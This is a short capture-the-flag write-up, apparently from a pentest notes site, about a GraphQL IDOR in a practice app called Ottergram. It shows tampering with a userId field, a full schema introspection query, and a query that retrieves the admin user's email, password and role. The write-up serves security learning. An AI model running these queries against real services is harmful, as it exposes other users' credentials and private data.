> For the complete documentation index, see [llms.txt](https://notes.dollarboysushil.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.dollarboysushil.com/web-application-pentest/bugforge/graphql-idor/ottergram.md).
# Ottergram
Level: Easy\
Points: 10\
Type: Daily Challenge
After sign-up / login flow. There is a POST request to /graphql which fetch the analytics.
Viewing it in proper format
We can edit the userId field and get analytics of another user.\
admin's userid is 2
Dumping the ENTIRE Schema
```
query {
__schema {
types {
name
fields {
name
type {
name
kind
}
}
}
}
}
```
explaination
```
query
└── __schema ← the entire schema of the API
└── types ← list of ALL types defined
├── name ← name of the type (e.g. "User", "Analytics")
└── fields ← list of fields on that type
├── name ← field name (e.g. "username", "password")
└── type ← what data type this field returns
├── name ← type name (e.g. "String", "Int")
└── kind ← category (SCALAR, OBJECT, NON_NULL, LIST)
```
### Key Findings
There are **2 queries** and the `User` type has juicy fields:
| Query | Returns |
| ------------------- | ----------------------------------------- |
| `analytics(userId)` | Analytics |
| `user(???)` | **User** with `email`, `password`, `role` |
Lets get the username and password data.
```
query {
user(id: 2) {
id
username
email
password
role
}
}
```